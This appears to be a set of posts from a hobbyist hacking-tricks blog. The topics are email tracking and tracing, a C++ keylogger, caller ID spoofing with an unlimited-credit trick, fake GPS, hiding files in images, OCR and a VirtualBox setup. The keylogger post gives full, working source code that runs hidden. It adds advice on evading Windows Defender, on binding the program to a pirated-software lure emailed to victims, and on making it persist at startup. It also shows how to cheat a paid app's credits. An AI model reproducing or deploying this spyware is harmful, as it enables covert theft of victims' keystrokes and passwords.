Email Tracking - Track your email to know if the receiver opened it, clicked on a link and much more..

Hello fellas, here you are going to learn about Email Tracking. Email tracking is a method used to obtain information from sent emails. For a smooth start, let me give you an example. Suppose that you are the attacker. You have created a file which is trustworthy by its name (let the file-name be "IDM Cracked Latest Version"). But along with this file, you did also bind (attach) an executable in background (hidden from user). This executable is nothing else but a keylogger. Hence, the file will seem useful to user but is really a spyware. Now, you mail this file to the victim and wait for him/her to open it. Here is the trap.

Click here to learn how to create a keylogger and download a keylogger file from here

Most of email services doesn't provide a way for the sender to know if his/her email was seen by the receiver or just ignored. In WhatsApp, Facebook and any other messaging service, we can know if our message was read or ignored. But none of email service provide us with this feature. So if you sent a spyware file to victim, it will take for weeks to know if he/she downloaded the file or not. And your attack will be unsuccessful or it will give delayed result. This is a simple example where email tracking becomes handy. So that now we have seen the importance of Email Tracking, let us study the process in depth.

There are in general, two methods to obtain information from Emails.

1. Email Tracing
2. Email Tracking

Yes, Email Tracing is different from Email Tracking. To study the difference and learn what Email Tracing is, click here.. Both the procedures (Email tracing and tracking) are independent. Hence, you can directly study this article to learn tracking irrespective of studying email tracing. But I would still suggest you to go through email tracing at least once before continuing, as its an interesting and important topic.

What is Email Tracking?

To be technical, it’s a method for monitoring email delivery through the use of a digitally time-stamped record to show the exact time and date an email was opened. You send an email. Your victim opens it. You get a notification in the corner of your screen and have the time of the email being opened on record. Every time the email is opened or a link is clicked, you’ll know it happened.

There are mainly two kind of receipts required when an email is sent.

1. Delivery Receipt - Indicates if the email is delivered or not. This receipt is provided in-built by all the email services.
2. Read Receipt - Indicates if the email you sent is read by the receiver or just ignored. This service is not provided by most of email service providers. But we can still modify the service provider functions to get a read receipt.

Click to view full size image

And Email Tracking is a methodology of obtaining read receipts of any sent email. So now let us see the advantages of email tracking before knowing how it actually works.

How is Email Tracking useful?

Email Tracking is mainly used in two fields - Spying and Marketing. Initially, email and link tracking feels like spying on your customers or potential clients. However, nothing nefarious is happening. Using email tracking actually saves time and increases productivity for both you and the customer. When you see a notification you know your email has been opened. You no longer have to send the “did you get my email?” message unless they actually haven’t gotten it.

Also, you’ll know exactly when people are sitting down at their desks and has your business on their mind. If you reach out to them close to this time, you’ll save your client time by contacting them when they’ve already got your company on their mind. Instead of trying to get them at a random time on a random day, they’ll already be thinking about you, and less likely to be busy on something else. If you notice an email being opened multiple times, then you’ll know there’s a higher chance for engagement with them. You can tell if they’re checking information you sent them before or after a call/meeting.

Email tracking is great for:

• Knowing when to follow up with people.
• Providing specific information based on the feedback (For example: If they keep clicking an email about a certain product, you could send more information about it).
• Helping marketing know what’s getting clients to click onward and what’s failing to get their attention.
• Giving peace of mind that you’re getting to clients.

Now let us see how Email Tracking works.

How does Email Tracking work in general?

To understand email tracking, we must first know the importance of Web-beacon or Tracking-pixel. 

• Web-beacon:A web beacon is an object embedded in a web page or email, which unobtrusively (usually invisibly) allows checking that a user has accessed the content. Common uses are email tracking and page tagging for web analytics.
• Tracking-pixel: Tracking pixel is a type of Web-beacon. A tracking pixel is a transparent image, measuring one pixel by one pixel (very small). Once imbedded on a Web page or in an email, a tracking pixel connects to a PHP file stored on your Web server. Each time the tracking pixel is viewed, it pulls the PHP file from the server, creating a logged event that lets you know exactly when and for how many times customers accessed the page or opened the message.

Now that we know about tracking pixel, we can note two of its important properties - Its transparent and when it is accessed, the event is logged along with the date-and-time stamp in the log file. When you see the log file, you can tell about when and how many times the image was accessed.

Email Tracking works the same way. You need to imbed the tracking-pixel in the email. I used the word "Imded" and not "Embed". When you embed an image, the image loads in the email and is sent to the receiver as an attachment. Hence, the log file will store the time when the email was sent - as tracking-pixel was attached (accessed) when the email was created. But when you imbed an image, a html tag including the link (<img src="link">) to that image is sent in the email. Hence, the image is loaded when the receiver opens the email. So, the log file will save the time when the image was accessed by the receiver which indirectly indicates when email was seen by the receiver.

Limitations of Email Tracking Pixel

Typically, there are no limitations of Email Tracking Pixel but there are problems which occur due to following reasons:

• The image isn’t loaded when an email is opened. Many web, desktop, and mobile email clients do not open images by default. Especially from unknown senders.
• An ad or tracking blocker is being used. Several extensions exist that block email opens from being reported.
• The image is loaded, but the email isn’t actually open. Some email clients render images as a preview, and will trigger email open false positives. The same effect is produced by Gmail's Image Caching feature.
• Some enterprise security systems will block emails w/ open tracking pixels or tracked links. Worse than email tracking not working, your email just might not actually get through.

The above was a brief list of what can cause email tracking to fail. The most important of the above is Gmail's Image Caching feature. (I cannot mention about it here due to the limitations of size og my article but you can google it.)

Some of useful tools for Email Tracking

Email tracking can be done with the help of three methods - Manual Method, Web-browser Extensions and Online Tools. Manual method is a bit harder and lengthy so I will mention it in my upcoming articles. The extensions and tools are listed here:

• Email Tracking Extension for Chrome
• MailTrack
• HubSpot

If you know about other good tools, write the name and link in comments. Till then, stay connected.. Thank you..

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Making a simple C++ Keylogger - Download with Source Code

Hello friends.. Today I am going to discuss here about the most awaiting post by our readers. You are going to learn about making a running and undetectable keylogger in C++ programming language. And you will be amazed to know that you don't need to have a complete knowledge of C++ to learn this thing. As I am here to explain you in detail what happens by execution of which code of line.

Still, there are some prerequisites to learn how to design a Keylogger and get the knowledge of different types of keylogger and how they work. You don't need to know the programming language but you still need to know how a keylogger really works in background and an algorithm to design it. Hence, before continuing your reading of this article, I recommend you to read the below to articles for ease. (Its because making a keylogger is not a child's task. You should have complete knowledge of it.)

Links:

• A simple algorithm to design a Keylogger
• Types on Keylogger and how each type works

After reading the above articles, you can easily move towards reading this article. In the first article i.e. steps to make a keylogger, you have learned about two things necessary in designing a keylogger. These two most important tasks are:

1. You need to identify a function which identifies and triggers when a key is pressed.
2. You need to code the keylogger to run in stealth (hidden) mode.

The first task is carried out by a function --GetAsyncKeyState()-- which is a part of windows API in C++. Hence, this function returns a specific value when the ASCII value of the character key pressed is passed as an argument. Now let us understand the making of a C++ Keylogger taking a closer look at its code.

C++ Keylogger Code:

#include<iostream>
#include<fstream>
using namespace std;     //used to avoid the compilation errors because of redefinition of variables.
#include<windows.h>
#include<winuser.h>


int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,SW_HIDE);
}

We will study three basic things in this piece of code:

1. The working of GetAsyncKeyState() function.
2. The working of user-defined Save() function.
3. The working of user-defined Stealth() function.

You cannot copy this piece of code from my site. Hence, I have given a direct download link for this piece of code. Click here to download the Keylogger Source File.

Understanding: 

GetAsyncKeyState function: It is a Windows API function available in C++. It determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState. If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. 

• GetAsyncKeyState function example:
  if(GetAsyncKeyState(VK_UP))
{
printf("The Up Arrow Has Been Pressed\n");
}

Save function:The save function takes in the ASCII value of keystroke pressed as an argument. It then compares the value with each keystroke individually. If the comparison expression returns TRUE, it stores the keystroke pressed in a file with the help of a character variable. (One can also use Switch-Case instead of if-else ladder.)

Stealth function: Here is simple explanation of it.

HWND stealth;

Declares a window handle.

AllocConsole();

Allocates a new console for the calling process.

stealth = FindWindowA("ConsoleWindowClass", NULL);

Find the window handle with class name "ConsoleWindowClass".

ShowWindow(stealth,SW_HIDE);

Hide it.

Pros/Cons

Rather than mentioning the pros and cons here, I would like to simply mention the things this keylogger cannot do. The very first thing is, when you run this keylogger file, it will be easily detected by the Windows Defender. This is because of the file writing method we choose in this program. To avoid this, you can use the ofstream write("Filename.txt", ios::app) method to open a file in write mode rather than using file pointer method i.e, FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"). Also, you need to change the function to write instead of fprintf. There is a small difference in its working but a master of C++ would find it easy.

Next thing this keylogger can't do is, it can't send you the log file via email. Its because, at the start of my article I mentioned Types of Keylogger. How you get the log file from victim's computer depends on the type of keylogger. And hence, it is not possible for me to code a keylogger each of one type. Still, one can add its code if you are a PRO coder!

The last thing you need to know is, you have to attach the executable file in startup. Else, everytime the victim restarts his/her laptop, this keylogger file will be removed from the main memory and hence it will stop functioning.

How to Stop the Keylogging activity

You might have thought that you know how to run this keylogger and record keystrokes. But ever thought how to stop it..! It is running in stealth mode i.e. it is not running in a window that you can close it simply by clicking on Close Button. The simplest way to stop this Keylogger is open the Task Manager and find the keylogger by is executable file name and end it process/task.

I hope you find this article interesting. Also I think you may be having several doubts related to this piece of code. Feel free to ask queries in the comment box and share this article with your friends and spread knowledge. Thank you..

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Email Footprinting - Trace an Email and Collect Information from it..!

In the previous article, I wrote on Website Scraping, Website Monitoring and Website Mirroring. It contained the methodology of gathering information from a website. Similarly, this article refers to gathering information from an Email.

An Email can give us access to a lot of sensitive information. Information such as:

• Sender's Email
• Sender's Name
• Sender's Physical Location
• The Path through which Email travelled - The transfer agents in between
• Sender's IP Address
• Active Ports of Sender

and much more information about the sender can be known

These sensitive information can lead a Hacker to access many of the data about the target. So, in this article we are going to study about how to collect information from Emails.

There are in general, two methods of gathering information from emails.

• Tracing Email
• Tracking Email

And here we are going to study tracing an email. Tracking email is not the part of Email Footprinting but still we will study it later. For now, let us not go into deep about email tracking and just study only the difference between Email Tracing and Email Tracking.

Email Tracing vs. Email Tracking

Tracing generally refers to movement in backward direction while tracking refers to movement in forward direction. A common example is, when you order an item on amazon, they let you to track the delivery of that item. Hence you can track where your object is right now. That is referred to as tracking. Object is yours and you are spying on your object. While in tracing, object belong to someone else and you are spying on other's object.

When you send a mail and you start spying on it (if receiver clicked a link in your mail or if receiver opened your mail or any other activity), then it is called Email Tracking. Similarly, when you get an email in your inbox and you spy on the that email (move backwards and get information about from where the mail was sent and information of every sender), it is called Email Tracing.

Now that we know about Email Tracing and what type of information can be obtained, let us see the topic in brief.

Email Header

We know that we can obtain information about sender from Email. Think somewhat deeper.. There might be a source from which we get all these information. Yes, that source is the Email Header.

In an e-mail, the body (content text) is always preceded by header lines that identify particular routing information of the message, including the sender, recipient, date and subject. Some headers are mandatory, such as the FROM, TO and DATE headers. Others are optional, but very commonly used, such as SUBJECT and CC. Other headers include the sending time stamps and the receiving time stamps of all mail transfer agents that have received and sent the message.

Mail Transfer Agents (MTA) are the intermediate routers, computers or servers that help in transfer of email from a sender to the receiver. Generally, sender and receiver are not connected by a direct connection. Hence, we use MTAs to create a path between sender's mail box (on sender's mail server) and receiver's mail box (on receiver's mail server). To know more about How Email system works, click here..

In other words, any time a message is transferred from one user to another (i.e. when it is sent or forwarded), the message is date/time stamped by a mail transfer agent (MTA) - a computer program or software agent that facilitates the transfer of email message from one computer to another. This date/time stamp, like FROM, TO, and SUBJECT, becomes one of the many headers that precede the body of an email. Hence, there might be multiple sub-headers in an email header providing information about each MTA unit associated in the transfer.

Headers Provide Routing Information

Besides the most common identifications (from, to, date, subject), email headers also provide information on the route an email takes as it is transferred from one computer to another. As mentioned earlier, mail transfer agents (MTA) facilitate email transfers. When an email is sent from one computer to another it travels through a MTA. Each time an email is sent or forwarded by the MTA, it is stamped with a date, time and recipient. This is why some emails, if they have had several destinations, may have several RECEIVED headers: there have been multiple recipients since the origination of the email. In a way it is much like the same way the post office would route a letter: every time the letter passes through a post office on its route, or if it is forwarded on, it will receive a stamp. In this case the stamp is an email header.

An example of simple email header with only one sender an receiver tag is shown below:

Click to view full size image

The above example is the simplest header of all. But still it might look complicated to you. Hence, is proves that tracing the email manually is complex. But we need to know the manual method too, because only using automated tools doesn't provide perfection.

Manual method to trace an Email

To find the information from a received email you're curious about, open the email and look for the header details. How you find that email's header depends on the email program you use. Do you use Gmail or Yahoo? Hotmail or Outlook? 

For example, if you're a Gmail user, here are the steps you'd take:

1. Open the message you want to view
2. Click the down arrow next to the "Reply" link
3. Select "Show Original" to open a new window with the full headers

Similarly, you can find a method from Google for other Email Programs. If I write methods for all of them, article would become lengthy.

Automated Tools for Email Tracing

Here is a small list of some of the best tools for Email Tracing..

• eMailTrackerPro - http://www.emailtrackerpro.com/
• WhatIsMyIPaddress - http://whatismyipaddress.com/trace-email

You can easily search Google for other tools.

As I told, email tracking and email tracing are different. I will teach you about Email Tracking in my next article. So, stay connected..

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Caller ID Spoofing - How to Call Anyone from Any Number and Unlimited Credits Trick..!

Before going deep into which application to use for call spoofing and more, let us first understand the concept of caller id spoofing. So first, what do you mean by caller id?

Caller ID (caller identification, CID) is a telephone service, available in analog and digital phone systems and most voice over Internet Protocol (VoIP) applications, that transmits a caller's number to the called party's telephone equipment during the ringing signal, or when the call is being set up but before the call is answered. In short, it is a unique identification of a caller on network and this is generally the number displayed to you on your screen.

What is Caller ID Spoofing?

Caller ID spoofing is the act of altering the information forwarded to your caller ID in order to hide the true origin ID. In simpler terms, caller ID spoofing allows you to display a phone number different than the actual number from which the call was placed. Oftentimes, the most important aspect of caller ID spoofing is spoofing the area code, thus giving you the ability to appear as though they’re calling from a specific location. Caller ID spoofing has been around for many years, and there are various reasons for which someone would place a spoofed call.

Generally, caller ID spoofing means to fake a call to some person from another number. So that the original number is not shown to the receiver but a fake number is shown as a caller ID.

How Caller ID Spoofing Works?

Outbound Caller ID can be spoofed in a number of ways. The most popular, and easiest of these methods is through VoIP (Voice-over-Internet-Protocol). VoIP is the technology that allows for voice communications to be sent over an Internet connection rather than through a phone line or cell tower.

Some VoIP providers allow users to configure the number they display as the caller ID through the configuration page on their website. In spoofing services which use VoIP, the user flow is as follows: The user opens the application (web or mobile) of the spoofing provider. They enter the number they wish to call, followed by the number they wish to display. When they press ‘send’ or ‘call’, the call is sent through a VoIP service, where the outbound caller ID is changed and then connected to their desired number.

Other spoofing services use a personal identification number (PIN). Users dial a number to connect to the service and enter their PIN. Then they enter the number they wish to call and the number they want to display as their Caller ID. The call is connected and the person they call sees the caller ID they chose to display as their outbound number.

In short, the server masks original caller ID with a fake one and then it makes the call.

Which apps to use?

There are many apps available on Playstore for this purpose. But we should take a great care using apps. As apps can also get access to our contacts and gallery and more, and hence there is a scenario of us being spied by others. Also sometimes, cases of data stealing takes place. So, a great care should be taken.

Most of the apps available on Playstore asks us to buy credits for calling. Hence, they do not provide this service for free. Also, the rates are different for different apps. And also a limitation is, certain apps work over a definite region only. For example, one app may be able to spoof calls in India but not in other country.

Some apps provide use a trial of 60 seconds or more. Then if you are comfortable with the service, they will ask you to buy a package. One such similar app was tried and here I got a trick for you to make unlimited calls.

Application and Trick for Unlimited Credits:

You should strictly follow these steps for getting unlimited credits or else this trick will not work.

Step 1: Download Fake Call app from Playstore and Install it. But Do Not Open this app after installation. (Don't open the app after installation or else it will not work.)

Step 2: Download and install Parallel Space from Playstore. Parallel Space is an application that allows you to clone apps on your android so that you can run two same apps simultaneously.

Step 3: Now open Parallel Space (not Fake Call), and select any app to clone. After that you have cloned any app, Parallel Space generates a new ID for this parallel running apps which is different from the original phone's ID.

Step 4: Now, clone the Fake Call app. You will find it by the name "ID Changer" in your list of applications inside parallel space. (Please take care not to open the application in phone before or after cloning.)

Step 5: Now, open the app (ID Changer) from Parallel Space (and not from your original app drawer).

Step 6: After opening, you will get a screen with 0.5 credits, asking your fake number and the number you want to call to. But still don't make any calls. Instead, close the app and reopen it again from Parallel Space. On reopening, your credits will increase to 0.6.

Step 7: Now, use this credits making calls and having fun.

Step 8: When your credits are used, i.e you have no more credits left, then uninstall Parallel Space and repeat from step2 to step7.

NOTE: Do not open ID Changer from the inbuilt app drawer and always open the app from Parallel Space.

Is Caller ID Spoofing Legal?

Now you are using this app for free but is it good and legal to use such applications and spoof caller ID!!! There are different laws applied in different countries.

In the United States, “Under the Truth in Calling Act, FCC rules prohibit any person or entity from transmitting misleading or inaccurate Caller ID information with the intent to defraud, cause harm, or wrongly obtain anything of value.  If no harm is intended or caused, spoofing is not illegal.  Anyone who is illegally spoofing can face penalties of up to $10,000 for each violation.  In some cases, spoofing can be permitted by courts for people who have legitimate reasons to hide their information, such as law enforcement agencies working on cases, victims of domestic abuse or doctors who wish to discuss private medical matters.”

In Canada, Caller ID spoofing is completely legal, although Canadians are plagued by corporations using spoofing for illegitimate or fraud purposes. These are unsolicited calls that go against the terms of service of most spoofing services, meaning the companies in question likely have an in-house service they use.

In the United Kingdom, the spoofed number MUST be allocated to the caller, or used with a third party’s explicit permission in order to remain legal.


Please do comment if you are having any problem following these steps. Thank you..! I am looking forward to share the knowledge of SMS spoofing and E-mail spoofing, so stay in touch.

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Fake GPS Location - Everything you need to know..!

You all might be wondering about how to fake your GPS Location. There may be many situations arising when you might need this thing to be done..! Suppose you are roaming out with your friends and your parents ask you to send your location in order to prove that you are studying. Or else when you are at home but you want to avoid someone to come at our home, saying that you are outside. You can easily do this by sending Fake GPS locations on WhatsApp.

Overview :

You might have read my previous articles and you might be knowing that I believe in explaining the deepest part of the tricks. So let us see the overview of the things you will learn in this article.

• What is GPS?
• How does GPS work?
• The process called Trilalertation.
• Applications providing Fake GPS services.
• How these applications work?
• Doing the task with/without ROOT permissions.
• Setting Fake Locations in Android, iPhone and on your PC.

 

The GPS :

The Global Positioning System (GPS) is a network of about 30 satellites orbiting the Earth at an altitude of 20,000 km. The system was originally developed by the US government for military navigation but now anyone with a GPS device, be it a SatNav, mobile phone or handheld GPS unit, can receive the radio signals that the satellites broadcast.

Wherever you are on the planet, at least four GPS satellites are ‘visible’ at any time. Each one transmits information about its position and the current time at regular intervals. These signals, travelling at the speed of light, are intercepted by your GPS receiver, which calculates how far away each satellite is based on how long it took for the messages to arrive.

Once it has information on how far away at least three satellites are, your GPS receiver can pinpoint your location using a process called trilateration.

Trilateration

Imagine you are standing somewhere on Earth with three satellites in the sky above you. If you know how far away you are from satellite A, then you know you must be located somewhere on the mobile icon. If you do the same for satellites B and C, you can work out your location by seeing where the three circles intersect. This is just what your GPS receiver does, although it uses overlapping spheres rather than circles.

The more satellites there are above the horizon the more accurately your GPS unit can determine where you are.

How to send Fake GPS location on Whatsapp?

You might have seen this trick before. But most of the time, the app which allows you to set fake location requires root permissions. Here, I am going to introduce you with method that doesn't require root permission. That means NO ROOT REQUIRED. Also, there are many methods to send fake location on whatsapp. I am going to explain only one of them.

Send Fake location on Android :

Step 1: First, Install Fake GPS App in your Phone from here: Download

Fake GPS Location

Step 2: Then go to Phone Settings>About Phone.

Step 3: Go on tapping on `Build Number` until you get a New Settings of Developer options.

Step 4: Open your Phone’s Settings again, and Select the option of Developer Options.

Step 5: In Developer Options, select `Allow Mock Locations` Button.

Step 6: Now Open Fake GPS app from your Android Phone, and search the location of your choice.

Step 7: After Searching the Location, simply click on `Set Location` and you are done.

Step 8: Now Open Whatsapp, and Send Location to anyone. It will send the location which you have set in Fake GPS app. Enjoy...! 

How this application does the task?

Actually, you can't fake GPS. What you can do is tell your Android to tell apps that you're in a different location than you really are.

This is useful for development. If I need to test that my app can tell what speed I'm traveling, I can do one of two things:

1. Run around outside.
2. Tell the Operating System to simulate my location.

The advantage of #2 is that you can be sitting inside your office debugging your app.

The thing is you still have to simulate your travels. For this, Android has a "fake my location" API which lets you write an app which will feed your app (as well as all others) fake location.

This is the reason the the app tells you to enable "enable mock locations" (and is also why this feature is in "Developer options", as it's mainly written for them).

Your app doesn't get GPS signals. The OS does. The OS only passes the coordinates (along with some other data) to the app. Fake GPS tells the OS to fake the location it's sending to the app.


Because of limited length of my article, the two topics are left to get covered.

• Fake GPS on iPhone.
• Fake GPS on PC.

These will be covered in my next article. Till then, enjoy..! And if you have any queries regarding this article, post your comments below. Thank you..

Special thanks to : Pikachuu..

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Steganography - How to hide Files behind Images..!

Overview:

Here, you are going to see :

• What is Steganography?
• Using Stegosploit.
• How to hide Files behind an Image?
• What is the Importance of Steganography in Hacking?
• How to prevent yourself from this attack?
• How can you extract Hidden files behind the Image?
• Some real time examples.
• And much more..

Introduction:

Before going forward to the trick, let me tell you what Steganography really is..!

Steganography is the practice of concealing a file, message, image, or video within another file, message, image, or video.

And now let me introduce you to Stegosploit.

The technique lets hackers hide malicious code inside the pixels of an image, hiding a malware exploit in plain sight to infect target victims.

Next time when someone sends you a photo of a cute cat or a hot chick than be careful before you click on the image to view — it might hack your machine.

Yes, the normal looking images could hack your computers — thanks to a technique discovered by security researcher Saumil Shah from India.

And yes, this is really true. A situation happened with me about 6 months ago. Here, we were asked to post a picture of cute cat on our facebook timeline and when you did, it blocked your facebook account. At that time, many people called it as a bug in facebook but was is really a malicious code or some abusive file hidden behind the image. If you want to get more details, search Google for it.

Just look at the Image and you are Hacked..! 

Shah demonstrated the technique during a talk titled, "Stegosploit: Hacking With Pictures," he gave on Thursday at the Amsterdam hacking conference Hack In The Box.

According to Shah, "a good exploit is one that is delivered in style."

Keeping this in mind, Shah discovered a way to hide malicious code directly into an image, rather than hiding it in email attachments, PDFs or other types of files that are typically used to deliver and spread malicious exploits.

To do so, Shah used Steganography — a technique of hiding messages and contents within a digital graphic image, making the messages impossible to spot with the naked eye.

Importance of Steganography:

There are various fields in which steganography is useful. Some of them are listed below:

• Hack into someone's PC.
• Share your secret documents with others Securely.
• Hide your any type of Files.
• Spread Virus over social media through an Image.
• And much more..

Here, my main aim to make you learn this is to hide your secret data. We all have secret files that we don’t want anyone to look at. Most common way of hiding important files was either creating a folder inside a folder or some people change the folder type to hidden. But both of these ways are not safe and anyone with little intelligent can easily find the folder you wish to hide.  Today I will show you how you can store a folder inside an image so that who ever wants to find your folder will have a really hard time finding it.

How to hide Documents inside a simple Image?

To do this a basic knowledge of command prompt is sufficient. Even if you don’t have it, I will make sure the steps are very easy for you to follow.

Step 1: First select an Image beneath which you want to hide you Secret data.

Step 2: Now, select the file you want to hide and convert it into .rar format using Winrar. (Compress the files you want to hide to .rar using Winrar Archiver.)

Step 3: Now paste both the files (the image and the rar you created) on the desktop.

Step 4: Now, open command prompt on your desktop. Follow these simple steps to open cmd on Desktop. 

• Press `windows key + R` and the enter cmd.
• Now, use command `cd desktop` and press enter.

CD stands for change directory. By typing the above mentioned command you redirect the directory to desktop.

Step 5: Now type : 

copy /b name.jpg + filename.rar image.jpg

• Replace name.jpg with the name of image you want your file to be hidden behind. Don’t forget to add image format like  .jpg,.png,.gif etc.
• Replace filename with the name of the file that you choose to hide (the rar file we created above). It must be in .rar format.
• Finally Replace image.jpg with the name you want. This will be the name of the final image that will be created like the image we selected but it will contain hidden files.

Step 6: The newly created image just looks like an image from all sides. But it will contain the files that you wanted to hide. You can confirm it seeing to the size of newly created image. It will be the sum of the size of image and the size of rar created.

How can we prevent ourselves?

As we saw that this trick/hack can be used for bad purposes too, it becomes necessary for us to prevent ourselves from such attacks. This can be done by seeing to the size of any file before we open it.

Take the case of some Image. If the image contains some malicious application, the image size would increase as the size of malicious file is added to the original size of image.

However, this method doesn't always help us to prevent ourselves. But it works good..! But we can perform reverse engineering to protect ourself. The method is given below.

How to Extract hidden files from the Image?

So now, let us see how to reverse the task we performed earlier. The steps are very simple.

Step 1: Change the type of the image to .rar from .jpg or .png or any other.

Step 2: Now, use Winrar to extract the contents of this rar created. Many a times, this step doesn't work. If this step doesn't work, follow the next step.

OR

Step 2: Install 7-zip archive on your PC and then try to extract the rar created in step 1.

If there are any queries in this process, post it in the comment box provided below.

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How to extract Text from Images..!

Here, we are going to see methods to extract text from images. Not only methods but also some information about how is it done.

Why generally we need to learn this trick?

We need this trick in our daily life. We see many images on facebook or instagram or anywhere else. Many a times it happens that the image contains the text of our imporatnce. Suppose that you asked you asked someone to send you details of any assignment. And he/she sends you images in order to prevent any changes in the assignment or with a view that you cannot copy it.

Other problem we face is, when we download any E-book from Internet. We generally get a scanned copy of it, which makes hard for us to complete our task. Many a time such things happens where we want the text to be extracted from an image. So, here we are going to see how is it done.!

How is text extracted from an image?

All operating systems come with Copy and Paste ability and the power it holds, is truly amazing. If you have huge text of 5000 or 10000 words, all you have to do is highlight all and press Ctrl+C to copy and now you can paste that text anywhere you like, otherwise you would have to type the whole text again! And that’s just one of its uses out of many.

However, this little trick doesn’t work on Images, you can’t just highlight text on an Image and copy it. There are situations where you need to copy text from a picture, like you have a screenshot of some text that you need to extract. For this purpose, there are specific Optical Character Recognition (OCR) softwares that can extract text from these images. 

Optical character recognition (also optical character reader, OCR) is the mechanical or electronic conversion of images of typed, handwritten or printed text into machine-encoded text, whether from a scanned document, a photo of a document, a scene-photo (for example the text on signs and billboards in a landscape photo) or from subtitle text superimposed on an image (for example from a television broadcast).

You can use these OCR softwares to extract text from images. In the past these softwares came with a price and mostly still do, but you can also get a free OCR software now. There is a chance you already have one right now, but you don’t know about it.

Early versions needed to be trained with images of each character, and worked on one font at a time. Advanced systems capable of producing a high degree of recognition accuracy for most fonts are now common, and with support for a variety of digital image file format inputs.

The accuracy of these softwares is not 100% correct, however, it is quite good, better than typing the whole text again. The accuracy basically depends on how the text is written in the picture, such as format, size, and other colors and designs, etc.

In this tutorial, we are going to discuss two tools which you can use to extract text from images.

Method #1: Copy Text from Picture Using Microsoft OneNote

As I mentioned above, many of you might have an OCR software but you might be unaware about it. Most of you guys already have Microsoft OneNote, but you didn’t know that it came with OCR capabilities since 2007. You can just upload the image in OneNote and extract text from it. If you don’t have Microsoft OneNote, then you can download it free from Here (you must also have a Microsoft account or create a new one to use it).

Step 1 : Open OneNote.

Step 2 : Click on Instert > Pictures. Insert the pictures you want to extract text from. (You can also copy the picture by moving to its location and then paste it in OneNote.)

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Step 3 : Now, right click on the image inserted, and click on "Copy text from Picture".

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Step 4 : Now that the text is copied from picture, we just need to paste it somewhere. You can paste it beside the picture in OneNote only or-else you can open a new Word or Notepad file and paste the text there. (I have pasted the text in notepad.)

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Step 5 : Just enjoy...!

Method #2: Copy Text from Picture Using an OCR Website

There may be sometimes reasons that you don't want to use OneNote. The one of it is that, you require a login to microsoft account to use OneNote. So, here is an alternative where no login is required. But it need your device connected to internet as it is an online service.

You can use a dedicated OCR website that will let you upload the image and will extract the text for you. For this tutorial, we have chosen Online OCR, but there are also many other websites which you can try if you are not comfortable with this one.

In the Privacy Policy they did mention that they will never see the content of the file which the user uploads, however, we will still not recommend using such services for extremely sensitive files.

Step 1 : Visit :- http://www.free-ocr.com/

Step 2 : Upload an image by clicking on 'Browse' button. If the image is from any hosted website, copy the link of image and paste it in the "Enter a URL" inputbox. Also, select a language in which you want the output. (NOTE : It does not work as a translator.)

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Step 3 : After uploading an image and selecting a language, click on 'Start' button.

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Step 4 : Wait for the processing to complete. It may take 5-10 seconds. After completion, you will be provided with results, below which all the text will be written.

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Step 5 : Copy the text from there and paste it in Notepad or Word for further use.

Step 6 : Enjoy..

If you have more than just one image, then you will have to Sign Up to take advantage of additional features which involves extracting text from more than one image and some other useful features.

To get a video tutorial on this trick, click here..

If there are any questions or you would like to add another method to extract text from image, let us know in the comments below.

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How to install Linux via VirtualBox on windows..!

You might have seen my previous posts on What are the methods available to install Linux on windows and Why is VirtualBox the best option to install Linux. So, in this article I am going to explain you how to use virtualbox and install Linux OS on it. Let's Start..

First of all, we need to install VirtualBox on windows. For that, you can search Google for "VirtuaBox for Windows download" or else follow the below steps :

• Visit : Official VirtualBox Website
• In this page, you will find : VirtualBox x.x.xx platform packages (where x.x.xx says the latest version of virtual box that you are going to download)
• Under this text, you will be provided with 4 labels namely; Windows hosts, OS X hosts, Linux Distributions and Solaris hosts.
• As we are going to install it on windows, we click on the first link (first label).
• Download will start automatically.

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Now that the download is complete, install VirtualBox in you PC. I don't think that you need any help for this. But still if there is any problem, ask for solutions in the comment box provided below.

After installation of VirtualBox gets completed, follow these steps to start installing Linux system. Note that before you move forward, you will need a Linux system iso file. Also it depends on the distribution you want to install. I am going to install Ubuntu on my virtualbox, so I am having Ubuntu iso with me. You can easily download iso from the official sites. If you are confused with which distribution to install, visit this article.

